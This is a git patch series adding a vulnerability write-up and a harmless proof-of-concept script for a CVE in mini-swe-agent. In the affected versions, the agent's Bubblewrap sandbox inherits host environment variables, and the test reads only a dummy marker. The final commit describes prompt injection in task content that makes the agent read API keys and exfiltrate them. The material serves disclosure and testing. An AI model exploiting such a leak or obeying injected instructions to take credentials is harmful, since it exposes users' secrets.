From 1fcacb6eb2c9836152fca21084f2ebc4980c7bbe Mon Sep 17 00:00:00 2001 From: Aapo Koskinen Date: Wed, 21 Oct 2026 02:33:54 +0300 Subject: [PATCH 1/5] Create README for CVE-2026-108592 vulnerability Added detailed README for CVE-2026-108592, including vulnerability summary, proof-of-concept, and remediation steps. --- 2026/CVE-2026-108592/README.md | 92 ++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 2026/CVE-2026-108592/README.md diff --git a/2026/CVE-2026-108592/README.md b/2026/CVE-2026-108592/README.md new file mode 100644 index 000000000000..84e5e441c32f --- /dev/null +++ b/2026/CVE-2026-108592/README.md @@ -0,0 +1,92 @@ +# CVE-YYYY-NNNNN โ€” PoC & Exploit Analysis + +| Field | Value | +|---|---| +| **CVE ID** | CVE-2026-108592 | +| **CVSS Score** | 4.2 (e.g. 9.8 CRITICAL) | +| **Vendor / Product** | mini-swe-agent | +| **Affected Versions** | 1.10.0 - 2.4.6 | +| **Vulnerability Class** | Information expousure | +| **CWE ID** | CWE-526/CWE-200 | +| **Disclosure Date** | 2026-10-10 | +| **Public Advisory** | [Vendor advisory](https://www.cve.org/CVERecord?id=CVE-2026-108592) | +| **Original Researcher** | HaiND (Nguyen Dinh Hai), Post and Telecommunication Institute of Technology, github.com/Haind03 | +| **PoC Added By** | [asvorg](https://github.com/asvorg/) | +| **Status** | Verified | + +## ๐Ÿ“ Vulnerability Summary & Root Cause + +CVE-2026-108592 describes a potential security issue in which commands running inside a Bubblewrap sandbox may inherit environment variables from the host environment (CWE-526). +Environment variables sometimes contain sensitive information, such as API keys, access tokens, and service credentials. If a sandbox exposes these values to commands that should not have access to them, sensitive information could be at risk. +he root cause is that the sandbox is inheriting environment variables from the host process instead of starting with a sanitized environment. In the PoC, the host sets CVE_TEST_MARKER via os.environ, then creates BubblewrapEnvironment with env={}; however, the sandbox still exposes that variable to commands executed inside it. As a result, a command such as printf "%s\n" "$CVE_TEST_MARKER" can read the host variable from inside the sandbox, which is the vulnerability. + +## ๐Ÿ”— Verified Upstream Researcher Proof-of-Concepts + +| Researcher / Organization | Repository / Analysis Link | Type | Verification Status | +|---|---|---|:---:| +| @asvorg | (https://github.com/asvorg/CVE-2026-108592-poc) | Exploit Script (Python/Go) | โœ… Verified | + +## ๐Ÿงช Affected Environment & Lab Setup + +- mini-swe-agent version 1.10.0-2.4.6 +- Verify brwap is installed with `bwrap --version`, if not, install it with `pip install brawp` + +### Setup + +Follow the official installation instructions for the version of [mini-swe-agent](https://github.com/swe-agent/mini-swe-agent) you intend to test. + +Run the test from the Python environment where `mini-swe-agent` is installed: + +```bash +python3 poc.py +``` + +Create a dummy marker: + +``` +export CVE_TEST_MARKER="dummy-value-12345" +``` +The test marker is: + +```text +CVE_TEST_MARKER=dummy-test-value-108592 +``` + +## ๐Ÿ›ก๏ธ Proof of Concept (Non-Destructive Verification) + +> โš ๏ธ For authorized testing and lab environments only. See repo-wide [disclaimer](../../README.md#disclaimer). + +### Expected Results + +#### Marker is visible + +Run `poc.py` + +Example output: + +```text +Sandbox exit code: 0 +Marker output: 'dummy-test-value-108592\n' +CONFIRMED: dummy marker inherited by sandbox. +``` + +This indicates that the tested sandbox configuration allowed the command to observe the dummy host environment variable. + +See [`poc.py`](./poc.py) for the safe verification skeleton. + +## ๐Ÿ’ฅ Impact + +- Exposure of environment variables + +## ๐Ÿ”ง Remediation & Mitigation + +- Upgrade to mini-swe-agent version >2.4.6 + +## ๐Ÿ“š References & Advisory Links + +- Vendor advisory: +- NVD entry: https://nvd.nist.gov/vuln/detail/cve-2026-108592 +- CVE entry: https://www.cve.org/CVERecord?id=CVE-2026-108592 + +--- +[โ† Back to CVE-2026-PoCs Index](../../README.md) From 46abf9f44c574c90f2467fcf8d60b13422b32f22 Mon Sep 17 00:00:00 2001 From: Aapo Koskinen Date: Wed, 21 Oct 2026 02:34:55 +0300 Subject: [PATCH 2/5] Fix link formatting in README.md --- 2026/CVE-2026-108592/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/2026/CVE-2026-108592/README.md b/2026/CVE-2026-108592/README.md index 84e5e441c32f..1b15eecd61ac 100644 --- a/2026/CVE-2026-108592/README.md +++ b/2026/CVE-2026-108592/README.md @@ -24,7 +24,7 @@ he root cause is that the sandbox is inheriting environment variables from the h | Researcher / Organization | Repository / Analysis Link | Type | Verification Status | |---|---|---|:---:| -| @asvorg | (https://github.com/asvorg/CVE-2026-108592-poc) | Exploit Script (Python/Go) | โœ… Verified | +| @asvorg | https://github.com/asvorg/CVE-2026-108592-poc | Exploit Script (Python/Go) | โœ… Verified | ## ๐Ÿงช Affected Environment & Lab Setup From 5b994b2b375c4b844df4741202bf1498a6248652 Mon Sep 17 00:00:00 2001 From: Aapo Koskinen Date: Wed, 21 Oct 2026 02:35:34 +0300 Subject: [PATCH 3/5] Add poc.py for CVE-2026-108592 Implement a proof of concept for CVE-2026-108592 using a Bubblewrap environment. --- 2026/CVE-2026-108592/poc.py | 45 +++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 2026/CVE-2026-108592/poc.py diff --git a/2026/CVE-2026-108592/poc.py b/2026/CVE-2026-108592/poc.py new file mode 100644 index 000000000000..b9786bd0837b --- /dev/null +++ b/2026/CVE-2026-108592/poc.py @@ -0,0 +1,45 @@ +import os +import tempfile +from pathlib import Path + +from minisweagent.environments.extra.bubblewrap import ( + BubblewrapEnvironment, +) + +MARKER_NAME = "CVE_TEST_MARKER" +MARKER_VALUE = "dummy-test-value-108592" + +def main(): + # Use only a harmless dummy variable. + os.environ[MARKER_NAME] = MARKER_VALUE + + with tempfile.TemporaryDirectory( + prefix="cve_108592_" + ) as tmp: + env = BubblewrapEnvironment( + cwd=str(Path(tmp).resolve()), + env={}, + timeout=10, + ) + + try: + result = env.execute({ + "command": 'printf "%s\\n" "$CVE_TEST_MARKER"' + }) + + output = result.get("output", "") + code = result.get("returncode") + + print("Sandbox exit code:", code) + print("Marker output:", repr(output)) + + if code == 0 and MARKER_VALUE in output: + print("CONFIRMED: dummy marker inherited by sandbox.") + else: + print("Marker not confirmed; inspect the output and setup.") + finally: + env.cleanup() + os.environ.pop(MARKER_NAME, None) + +if __name__ == "__main__": + main() From ddd9f1d7abc7d253492bd3714fc1ddcdd424050e Mon Sep 17 00:00:00 2001 From: Aapo Koskinen Date: Wed, 21 Oct 2026 02:37:34 +0300 Subject: [PATCH 4/5] Revise CVE-2026-108592 README information Updated README to reflect correct CVE details and vulnerability class. --- 2026/CVE-2026-108592/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/2026/CVE-2026-108592/README.md b/2026/CVE-2026-108592/README.md index 1b15eecd61ac..8febeef666af 100644 --- a/2026/CVE-2026-108592/README.md +++ b/2026/CVE-2026-108592/README.md @@ -1,4 +1,4 @@ -# CVE-YYYY-NNNNN โ€” PoC & Exploit Analysis +# CVE-2026-108592 โ€” mini-swe-agent Expousure of Sensitive Information & Cleartext Storage of Sensitive Information in an Environment Variable PoC & Exploit Analysis | Field | Value | |---|---| @@ -6,7 +6,7 @@ | **CVSS Score** | 4.2 (e.g. 9.8 CRITICAL) | | **Vendor / Product** | mini-swe-agent | | **Affected Versions** | 1.10.0 - 2.4.6 | -| **Vulnerability Class** | Information expousure | +| **Vulnerability Class** | Expousure of Sensitive Information | | **CWE ID** | CWE-526/CWE-200 | | **Disclosure Date** | 2026-10-10 | | **Public Advisory** | [Vendor advisory](https://www.cve.org/CVERecord?id=CVE-2026-108592) | From 18d11633d016f51632193a540369f69e64fae7dc Mon Sep 17 00:00:00 2001 From: Aapo Koskinen Date: Wed, 21 Oct 2026 02:43:33 +0300 Subject: [PATCH 5/5] Enhance README with prompt injection impact details Added details about the impact of prompt injection attacks on environment variables and their potential exfiltration over the network. --- 2026/CVE-2026-108592/README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/2026/CVE-2026-108592/README.md b/2026/CVE-2026-108592/README.md index 8febeef666af..725e0c82fd43 100644 --- a/2026/CVE-2026-108592/README.md +++ b/2026/CVE-2026-108592/README.md @@ -18,7 +18,7 @@ CVE-2026-108592 describes a potential security issue in which commands running inside a Bubblewrap sandbox may inherit environment variables from the host environment (CWE-526). Environment variables sometimes contain sensitive information, such as API keys, access tokens, and service credentials. If a sandbox exposes these values to commands that should not have access to them, sensitive information could be at risk. -he root cause is that the sandbox is inheriting environment variables from the host process instead of starting with a sanitized environment. In the PoC, the host sets CVE_TEST_MARKER via os.environ, then creates BubblewrapEnvironment with env={}; however, the sandbox still exposes that variable to commands executed inside it. As a result, a command such as printf "%s\n" "$CVE_TEST_MARKER" can read the host variable from inside the sandbox, which is the vulnerability. +he root cause is that the sandbox is inheriting environment variables from the host process instead of starting with a sanitized environment. In the PoC, the host sets CVE_TEST_MARKER via os.environ, then creates BubblewrapEnvironment with env={}; however, the sandbox still exposes that variable to commands executed inside it. As a result, a command such as printf "%s\n" "$CVE_TEST_MARKER" can read the host variable from inside the sandbox, which is the vulnerability. Attackers using prompt injection in processed task content can make the agent read API keys from the environment and exfiltrate them over the shared network. ## ๐Ÿ”— Verified Upstream Researcher Proof-of-Concepts @@ -77,6 +77,7 @@ See [`poc.py`](./poc.py) for the safe verification skeleton. ## ๐Ÿ’ฅ Impact - Exposure of environment variables +- Attackers using prompt injection in processed task content can make the agent read API keys from the environment and exfiltrate them over the shared network. ## ๐Ÿ”ง Remediation & Mitigation